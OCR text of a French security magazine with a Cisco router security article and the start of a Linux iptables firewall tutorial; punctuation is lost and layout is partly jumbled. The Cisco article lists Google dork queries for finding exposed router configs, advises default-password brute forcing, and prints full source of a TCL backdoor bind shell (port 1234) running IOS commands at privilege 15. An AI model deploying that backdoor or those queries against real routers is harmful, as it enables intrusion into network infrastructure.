Dynamips a eacuteteacute compleacuteteacute par dautres outils (Dyan-gen et GNS3) qui facilitent linterconnexion de plusieurs routeurs virtuels et permettent de simuler plus facile-ment tout un reacuteseau sur une seule machine

Leacutemulation dun routeur est un excellent moyen pour se familiariser avec la ligne de commande Cisco et les diffeacuterents services quils proposent

Pour des besoins de debugging et pour mieux com-prendre le fonctionnement des processeurs et du Ker-nel lIOS Cisco supporte le protocole GDB de debug-ging et ce agrave travers une connexion agrave linterface seacuterie GDB existe aussi sur TCP malheureusement Cisco ne le supporte pas

Limpleacutementation du protocole est leacutegegraverement diffeacute-rente de la version GNU Vous pouvez cependant utili-ser loutil BinNavi de Zynamics supportant diverses im-pleacutementations de GDB

Pour activer le protocole GDB utilisez la comman-de gdb kernel et lancez votre outil de debugging en seacuterie

Deacutecouverte et eacutenumeacuterationCette partie sinteacuteresse aux techniques de deacutecouverte et deacutenumeacuteration propre au monde des routeurs et du routage les techniques de deacutecouverte active avec des outils comme nmap sont assez connus et ont deacutejagrave eacuteteacute abordeacutees dans dautres articles

Larticle se focalisera sur le googleHacking sur leacutenu-meacuteration BGP et AS et sur lextraction dinformations agrave partir des protocoles de routage utiliseacutes

Googlehacking cette technique efficace pour collec-ter des informations et trouver des plates-formes vulneacute-rables sappuie sur une bonne connaissance des opeacute-rateurs Google (voir Table 1)

Le tableau est une liste reacuteduite des principaux opeacutera-teurs il est eacutegalement possible dutiliser des fonction-naliteacutes de recherches avanceacutees en manipulant lURI de google

Le grand inconveacutenient de cette technique est le nom-bre de fausses alertes il est donc important de sarmer

de patience et dessayer petit agrave petit dameacuteliorer leffica-citeacute des mots rechercheacutes

Le principe pour trouver des fichiers de configuration est assez simple rechercher des commandes utiliseacutes dans un fichier de configuration des extensions don-neacutees aux fichiers de configuration (cfg conf log txt) et des mots cleacutes en relation dans lURI (-cfg cisco conf )

Voici une liste non exhaustive des diffeacuterentes expres-sions que vous pouvez utiliser pour trouver des fichiers de configuration vous pouvez vous en inspirer pour trouver dautres expressions plus efficaces (cf Listing 2)

Cette technique tregraves simple permet aux script-kid-dies de trouver des cibles faciles Cependant la majo-riteacute des fichiers de configuration trouvables sur google restent inexploitables (utilisation dadressages priveacutes RFC1918 proteacutegeacutes par des pare-feux ou tregraves anciens et plus utiliseacutes)

Routage collecter des informations sur le routage dune organisation permet de mieux comprendre son in-frastructure reacuteseau ses points dinterconnexions et sa reacutesilience contre les attaques de deacuteni de service

Les informations sur le peering et le routage BGP sont facilement disponibles sur des sites comme rob-tex nous pouvons en deacuteduire les opeacuterateurs dune en-treprise les scopes IP alloueacutes et la distribution de trafic par lien

Les registres de routages et les looking glass sont aussi des sources preacutecieuses dinformations elles per-mettent de mener des tests de ping et traceroute afin de deacutetecter deacuteventuelles regravegles de filtrage et donnent une meilleure cartographie du reacuteseau

Des outils comme ASS et Polyphemus permettent de collecter des informations sur les protocoles internes de routage (OSPF RIP hellip) et didentifier les protocoles uti-liseacutes et le niveau de seacutecuriteacute appliqueacute (cf Listing 3)

exploitation et maintien daccegravesLa meacutethode la plus simple et la plus directe pour ex-ploiter nimporte quelle plate-forme consiste agrave trouver des services de gestion exemple du Telnet ou SSH

table 1 Liste opeacuterateurs Google

Opeacuterateur Description Exemplesite Appliquer la recherche sur le site indiqueacute

seulementURPF sitewwwciscocom

filetype Chercher les fichiers du type indiqueacute Google search cheat sheet filetypepdf

inurl LURL contient le mot rechercheacute laquoCisco confraquo inurlforum

related Lister les sites web similaires Relatedwwwsecurityfocuscom

intext Le site contient les mots rechercheacutes Intextlaquoenable password 7raquo

cache Acceacuteder agrave la version en cache sur les se-rveurs google

cachewwwsecurity-databasecom

intitle Chercher dans les titres des pages web intitleindexof ios parent directory bin

Seacutecuriteacute CiSCO

hakin9orgfr 15

et de lancer des attaques de brute force par diction-naire

Pour essayer de compromettre les mots de passe dune machine privileacutegiez les mots de passe par deacute-faut et les comptes triviaux ciscocisco adminadmin testtest

Vous serez eacutetonneacute de voir combien ces mots de passe sont utiliseacutes vous pouvez dailleurs vous en rendre compte en deacutechiffrant les mots de passe des fichiers de configuration trouvables avec le google-hacking

Hydra et cisco-torch peuvent servir pour avoir ac-cegraves agrave la machine en brute forccedilant les protocoles suivant telnet ssh web et snmp Lrsquooutil enabler permet de brute forcer laccegraves aux privilegraveges plus eacuteleveacutes

Ce type dattaque est tregraves bruyant nimporte quel outil de correacutelation de log est capable de le deacutetecter

Pour compromettre un routeur ou un commutateur Cisco il est possible dexploiter une vulneacuterabiliteacute dun des services activeacutes lIOS Cisco reste difficile agrave exploi-ter et la grande majoriteacute des vulneacuterabiliteacutes ne causent que des deacutenis de service

OSVDB CVE et SecuriyVulnentrabilitynet reacutefeacuteren-cent un tregraves grand nombre de vulneacuterabiliteacutes publieacutees et renvoient vers des codes dexploitation (packetstorm exploit-db)

Cette meacutethode digne dun script-kiddie est rare-ment efficace contre les systegravemes dexploitation Cisco car comme indiqueacute preacuteceacutedemment le grand

nombre de versions dOS rend difficile la reacutedaction de code dexploitation fonctionnat sur toutes les ver-sions

Apregraves compromission de la machine il est possible dutiliser un script TCL pour creacuteer un trojan sur la plate-forme

Voici un exemple dun trojan TCL sur le routeur (cf Listing 4)

Ce script eacutecoute sur le port 1234 vous pouvez le mo-difier en changeant la commande set port 1234 par le port que vous voulez utiliser

approche deacutefensiveDeacutesactivation des services inutiliseacutes le durcisse-ment du Management Plane commence par la deacutesac-tivation de tous les services inutiliseacutes qui sont parfois vulneacuterables ou grand consommateurs de ressources donc vecteurs dattaques de deacutenis de service (cf Lis-ting 7)

Voici une liste assez complegravete des principaux servi-ces agrave deacutesactiver

bull PADbull MOPbull Fingerbull Bootpbull DNSbull Services TCP et UDP (Echo Chargen Discard)bull Script TCLbull CDP et LLDP sur les interfaces externes

Listing 2 Requecirctes googleHacking

no service single-slot-reload-enable enable secret

5 filetypeshtml -inurlcisco

ip ftp password 05080F1C2243

filetypecfg intextcisco

inurl-cfg intextenable secret

intitlelevel15exec

Listing 3 Utilisation dASS

test ass -mA -i eth0 -D 192168110 -b15 -v

ASS [Autonomous System Scanner] $Revision 214 $

(c) 2k FX ltfxphenoelitdegt

Phenoelit (httpwwwphenoelitde)

No protocols selected scanning all

Running scan with

interface eth0

Autonomous systems 0 to 15

delay is 1

in ACTIVE mode

Building target list

192168110 is alive

Scanning

Scanning IGRP on 192168110

Scanning IRDP on 192168110

Scanning RIPv1 on 192168110

shutdown

gtgtgtgtgtgtgtgtgtgtgtgt Results gtgtgtgtgtgtgtgtgtgtgt

192168110

IGRP

AS 00010 10000 (500001111111147625510)

IRDP

192168110 (18000)

192168999 (18000)

RIPv1

10000 (1)

Listing 4 Trojan TCL ndash routeur

Routergten

Routertclsh

Router(tcl)source tftptftpservertclshtcl

6201016

Pratique

Authentification et politique de mots de passe une politique stricte de mots de passe est agrave appliquer il est preacuteconiseacute dutiliser une forme dauthentification AAA

preacutefeacuterablement Tacacs+ afin de garder une trace des actions et des modifications appliqueacutees Les mots de passe des comptes locaux doivent utiliser un chiffrage

Listing 5 Trojan TCL ndash machine drsquoaccegraves

$ telnet router 1234

Trying router

Connected to router

Escape character is ^]

-------------------------------------

TclShell v01 by Andy Davis IRM 2007

-------------------------------------

Cisco IOS Software C2600 Software (C2600-

ADVENTERPRISEK9-M) Version

124(17) RELEASE

SOFTWARE (fc1)

Current privilege level is 15

Enter IOS command

show running-config

Building configuration

Current configuration 743 bytes

version 124(17)

service timestamps debug uptime

ltCUTgt

Listing 6 Trojan TCL ndash code source

TclShelltcl v01 by Andy Davis IRM 2007

IRM accepts no responsibility for the misuse of this

code

It is provided for demonstration purposes only

proc callback sock addr port

fconfigure $sock -translation lf -buffering line

puts $sock

puts $sock -------------------------------------

puts $sock TclShell v01 by Andy Davis IRM 2007

puts $sock -------------------------------------

puts $sock

set response [exec sh ver | inc IOS]

puts $sock $response

set response [exec sh priv]

puts $sock $response

puts $sock

puts $sock Enter IOS command

fileevent $sock readable [list echo $sock]

proc echo sock

global var

if [eof $sock] || [catch gets $sock line]

else

set response [exec $line]

puts $sock $response

set port 1234

set sh [socket -server callback $port]

vwait var

close $sh

Listing 7 Deacutesactivation des services

no scripting tcl init

no scripting tcl encdir

no service tcp-small-servers

no service udp-small-servers

no ip bootp server

no ip finger

no service dhcp

no ip domain lookup

no service pad

no ip http server

no ip http secure server

no ip gratuitous arp

Listing 8 Seacutecurisation de lauthentification locale

service password encrytpion

enable secret level ltlevelgt ltpasswordgt

no enable password

security authentication failure rate 10 log

security password min-length 6

Listing 9 Configuration seacutecuriseacutee de la journalisation

logging ltaddressgt

no logging console

no logging monitor

logging source-interface loopback 0

Listing 10 Configuration seacutecuriseacutee des accegraves

line vty 0 6 ltline numbersgt

transport input ssh

transport output none

exec-timeout 5 0

access-class 140 in

ip access-list extended 140

remark Management access restriction

ltaccess-listgt

deny ip any any log

6201018

Pratique

fort type MD5 et non des mots de passe de type 7 fa-cilement deacutechiffrables

Il est eacutegalement important de configurer un timeout de connexion entre 5 et 10 minutes (cf Listing 8)

Journalisation et sauvegarde des actions la journa-lisation des eacuteveacutenements ainsi que la sauvegarde des fichiers de configuration deacutependent de la politique inter-ne de lentreprise elle-mecircme deacutependant de sa capaciteacute agrave stocker et agrave inspecter les logs geacuteneacutereacutes (cf Listing 9)

Une configuration seacutecuriseacutee commence par la deacutefini-tion dune interface source des log (souvent linterface loopback0) lactivation des timestamps (facilite la lec-ture des logs) et la deacutefinition dun niveau des logs agrave en-voyer (en fonction de la capaciteacute de stockage agrave pros-crire le niveau 7)

Il est preacuteconiseacute de deacutesactiver les logs console et logs monitor susceptibles de consommer eacutenormeacutement de ressources causant un deacuteni de service

Filtrage daccegraves aux services de controcircle il existe deux meacutethodes de gestion dune plate-forme (routeur commu-tateur serveur hellip) Inbound le flux de transport et le flux de controcircle sont sur les mecircmes interfaces ou Outbound seacuteparation des flux de controcircle et des flux de transport

Le modegravele outbound est plus seacutecuriseacute son applica-tion se traduit par linstallation de serveurs de rebond souvent accessible agrave travers un VPN Des access-list sont creacuteeacutes sur le routeur nautorisant laccegraves quagrave partir de la machine de rebond Il est eacutegalement possible de deacutefinir une interface deacutedieacutee aux protocoles de gestion permettant ainsi une seacutecuriteacute optimale

LIOS Cisco permet eacutegalement dappliquer des ac-cess-list sur les accegraves SNMP en lecture seule et en lec-ture eacutecriture nautorisant que les machines de confian-ce censeacutees acceacuteder en SNMP agrave la plate-forme (cf Listing 10)

Durcissement du Control PlaneDurcir le control plane commence par le durcissement des protocoles de routages Ce sujet est neacuteanmoins

tregraves large et tregraves complexe plusieurs meacutecanismes de seacutecuriteacute existent selon le protocole utiliseacute et son fonc-tionnement la seacutecurisation de IS-IS est diffeacuterente de la seacutecurisation dOSPF par exemple

Il est cependant important dutiliser des secrets parta-geacutes de filtrer les annonces reccedilues en bloquant les an-nonces des blocs IP internes

Les environnements commuteacutes doivent obligatoi-rement ecirctre durcis contre les attaques MITM comme lempoisonnement ARP ces attaques souvent faciles agrave mener ont un effet deacutevastateur

Lutilisation du DHCP snooping du DAI (Dynamic ARP Inspection) et du Port security permet de pallier ce risque

Proteacuteger les ressources CPU des plates-formes en assurant le traitement des flux critiques (routage et ma-nagement) est possible gracircce au CoPP ce meacutecanisme est parfois long agrave impleacutementer

Il faut configurer des ACL pour deacutefinir les cateacutegories de flux en fonction de leur importance (routage mana-gement indeacutesirable normal et autre)

Configurer des Class-map pour chaque cateacutegorie et finalement configurer des Policy-map avec les valeurs autoriseacutes est le comportement adeacutequat pour chaque ty-pe de flux

Le CoPP nagit que sur les flux traiteacutes par le CPU et ninfluence aucunement les flux de transport

Durcissement du Data PlaneLa grande majoriteacute des attaques utilisent le spoofing dadresses IP pour diverses raisons Cisco propose un meacutecanisme dantispoofing (uRPF) utilisant la table de routage Ce meacutecanisme protegravege contre le spoofing des adresses IP internes

uRPF existe en plusieurs modes (strict loose vrf hellip) selon la symeacutetrie du routage et lutilisation de routeurs virtuels

Outre le blocage du spoofing dadresses IP avec luR-PF il est preacuteconiseacute de bloquer

table 2 RFC 3330

Scope Description

00008 laquoCeraquo reacuteseau

10008 Reacuteseau priveacute RFC 1918

127000 Loopback

1692540016 Lien local

172160012 Reacuteseau priveacute RFC 1918

19202024 Reacuteseau de test

1928899024 Relais anycast IPv6 agrave IPv4

1921680016 Reacuteseau priveacute RFC 1918

198180015 Test deacutevaluation de plates-formes

2240004 Multicast

hakin9orgfr 19

bull Bloques IP du RFC3330bull Messages ICMPbull Paquets fragmenteacutes

ConclusionLa seacutecuriteacute des plates-formes Cisco est un sujet vaste et passionnant il permet de sinteacuteresser agrave la fois agrave la seacute-curiteacute reacuteseau et systegraveme Les vecteurs dattaques sont nombreux et un simple article ne peut preacutetendre agrave les couvrir tous

Seacutecuriser ces plates-formes oblige donc agrave sinteacuteres-ser au fonctionnement des protocoles utiliseacutes et de lar-chitecture Hardware et Software du systegraveme

La compromission drsquoune telle plate-forme peut ecirctre fatale les nouveaux IOS proposent de nouvelles fonc-tionnaliteacutes permettant par exemple denregistrer le tra-fic sur une interface ou un VLAN et ainsi extraire les mots de passes et les informations circulant en clair dougrave limportance de sinteacuteresser agrave leur seacutecuriteacute

Agrave PrOPOS De LauteurLauteur est eacutetudiant en troisiegraveme anneacutee agrave Telecom SudParis (ex Telecom INT) il e ectue actuellement un stage dune an-neacutee agrave Bouygues Telecom en seacutecuriteacute reacuteseau Vous pouvez le contacter agrave ladresse mail suivante alaeddinemesbahigmailcom

Sur internetbull wwwhackersforcharityorgghdb ndash Liste de requecirctes go-

oglehacksbull wwwphenoelit-usorgdpldplhtml ndash Liste de mots de pas-

se par deacutefautbull wwwsecurityvulnerabilitynet ndash Excellent moteur de re-

cherche de vulneacuterabiliteacutes (BD de vulneacuterabiliteacutes CVE)

terminologiebull AS (Autonomous System) un ensemble de reacuteseaux IP so-

us le controcircle dune seule et mecircme entiteacute typiquement un fournisseur daccegraves agrave Internet ou une plus grande or-ganisation qui possegravede des connexions redondantes avec le reste du reacuteseau Internet Wikipeacutedia

bull Looking glass serveurs accessibles agrave partir dinternet po-ur visionner des informations sur le routage et des statisti-ques sur le trafi c

bull AAA correspond agrave un protocole qui reacutealise trois fonctions lauthentifi cation lautorisation et la traccedilabiliteacute (en An-glaisAuthentication Authorization AccountingAuditing) Wikipeacutedia

19

6201020

Seacutecuriteacute reacuteSeaux

Dans le noyau 22 avec ipchains le code du pare-feu eacutetait eacuteparpilleacute au travers de la couche applica-tive reacuteseau ce qui ne facilitait pas la maintenance

Depuis les noyaux 24 la solution de filtrage Netfilter est inteacutegreacutee au noyau des distributions ce qui permet de meilleures performances et une grande faciliteacute dutilisation

Cette solution permet une analyse au niveau TCPIP et la gestion dIPV4 IPV6 IPX ARP (et bien dautre) deffectuer du filtrage la translation dadresse (NAT) ain-si que lalteacuteration de paquet (MANGLE) Par Netfilter on deacutesigne lensemble des fonctions internes du noyau qui reacutealisent les opeacuterations de filtragefirewall Iptables sert dinterface de configuration il fonctionne en mode utili-sateur Larriveacutee du mode StateFull a apporteacute un grand confort dutilisation plus de filtrage brut on met en place un systegraveme de filtrage intelligent

Fonctionnement de NetfilterLe but dun pare-feu est de bloquer filtrer router mo-difier des paquets reacuteseaux Les regravegles de configuration de Netfilter (iptables) ont eacuteteacute creacuteeacutees pour ecirctre simple dutilisation mecircme si lon verra que lon peut tregraves bien creacuteer des regravegles tregraves longues et tregraves compliqueacutees Pour ce faire des points dencrages (hook) ont eacuteteacute mis en pla-ce leur rocircle est de permettre une gestion des paquets agrave chacun des points dexploitation (voir Figure 1)

bull NF _ IP _ PRE _ ROUTING paquets entrants sur linterfa-ce

bull NF _ IP _ LOCAL _ IN paquets destineacutes agrave la machine locale

bull NF _ IP _ FORWARD paquets agrave routerbull NF _ IP _ LOCAL _ OUT paquets eacutemis depuis la machine

localebull NF _ IP _ POST _ ROUTING paquets sortants de linterface

Chacun de ces points dencrages correspond agrave une chaine que nous allons exploiter dans la conception de regravegles qui vont deacutefinir quel paquet est accepteacute ou reje-teacute (voir Figure 2)

bull NF _ IP _ PRE _ ROUTING PREROUTINGbull NF _ IP _ LOCAL _ IN INPUTbull NF _ IP _ FORWARD FORWARDbull NF _ IP _ LOCAL _ OUT OUTPUTbull NF _ IP _ POST _ ROUTING POSTROUTING

Le traitement des paquets est effectueacute de maniegravere seacute-quentielle cest agrave dire dans lordre dans lesquelles les regravegles ont eacuteteacute appliqueacutees (dougrave limportance de bien tout faire dans lordre) Le paquet sera traiteacute de la ma-niegravere suivante par le noyau

bull Reconnaissance de la Table (on traite le paquet en fonction des regravegles de la table) FILTER NAT MANGLE

bull Reconnaissance pour aiguillage (type de paquet INPUT OUTPUT)

Firewall sous linux

Maintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutematiques de seacutecuriteacute se font grandissantes Apregraves limpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se pose plus Nous allons voir ensemble le fonctionnement diptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur la seacutecurisation dune machine connecteacutee agrave Internet

cet article expliquebull Le fonctionnement des pare-feubull Les bonnes pratiques pour la mise en place dun pare-feubull Comment configurer Netfilterbull Les fonctions de routagebull Le filtrage avec IPV6

ce quil faut savoirbull Des connaissances en administration Linuxbull Le fonctionnement des reacuteseaux et protocoles (Ethernet TCP

IP UDPIP)

Nicolas Hanteville

Firewall

hakin9orgfr 21

bull Je veux pouvoir naviguer sur les sites web normaux et seacutecuriseacutes (HTTP HTTPS)

bull Je veux pouvoir teacuteleacutecharger et envoyer des mails (SMTP POP3 IMAP)

bull Je veux pouvoir acceacuteder au transfert de fichier (FTP)

Dans le cas preacutesent si je ne prends en compte que ces demandes je vais avoir des problegravemes Ici je ne traite pas la reacutesolution adressenom il va donc falloir ajou-ter aussi lautorisation du protocole DNS Pour faire des tests reacuteseau et veacuterifier que mon routeur fonctionne bien jaurais surement besoin dICMP Si je veux tes-ter ma machine localement jaurais surement besoin dautoriser le LOOPBACK Si dans mon reacuteseau je veux administrer ma machine agrave distance via SSH il faudra aussi le prendre en compte

tableau des fluxNous allons maintenant nous attaquer agrave la premiegravere des phases de mise en place du pare-feu agrave savoir le tableau des flux Le but est de mettre en place un tableau qui repreacutesente la totaliteacute des flux que nous voulons autori-ser Dans le futur en cas deacutevolution de notre filtrage ou danalyse plus pousseacutee le travail sera simplifieacute si nous avons un tableau il permet de comprendre plus rapide-ment la politique que lon a voulu mettre en place

Pour reacutediger une regravegle nous avons besoin de plu-sieurs paramegravetres

bull Si le flux est en entreacutee (INPUT) ou en sortie (OUT-PUT)

bull Leacutetat de la connexion (nouvelle connexion suivie de connexion)

bull Le type de protocole (ICMP TCP UDP)bull Ladressage source (dougrave provient le flux)

bull Test de la validiteacute du paquet par rapport agrave la pre-miegravere regravegle si le paquet correspond agrave une autori-sation il passe (chaine ACCEPT) sil correspond agrave une interdiction il est supprimeacute (chaine DROP) si-non il passe agrave la regravegle suivante

bull Le paquet agrave traverseacute toutes les regravegles car aucune ne lui correspondait le paquet est donc traiteacute par la politique par deacutefaut (ACCEPT ou DROP)

Afin dexploiter les possibiliteacutes de Netfilter il faut creacuteer des regravegles Ces regravegles sont composeacutees de la table pour laquelle le paquet sera traiteacute de chaines qui deacute-finissent le point de traitement (INPUT OUTPUT) le protocole les ports les adresses (hellip) ainsi que le reacute-sultat de lapplication de la regravegle (ACCEPT ou DROP)

Les bonnes pratiquesAvant de commencer la reacutedaction de regravegles il est impor-tant de ne pas tomber dans la creacuteduliteacute et dire jai un pare-feu je suis proteacutegeacute

Un pare-feu cest comme avec un parapluie sil est casseacute quil y a trop de vent ou que je ne louvre pas il ne protegravege pas de la pluie

Au lieu donc de faire nimporte quoi et de partir dans des eacutelucubrations qui donneront des regravegles incoheacuteren-tes qui laisseront passer ce qui doit ecirctre filtreacute et qui filtre-ra ce qui doit passer il faut faire une liste des besoins

Dans cet article nous allons partir sur un cas tregraves sim-ple jai une machine en frontale sur internet avec une seule carte reacuteseau je veux limiter au maximum les pos-sibiliteacutes dy acceacuteder tout en me permettant de lexploiter Bien sucircr quelques modifications simples permettront dadapter ce cas au votre (sans entrer dans des archi-tectures trop complexes voir Figure 3)

Tout dabord nous allons eacutenoncer nos besoins primai-res

Figure 2 Chaines

Figure 1 Points dencrage

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

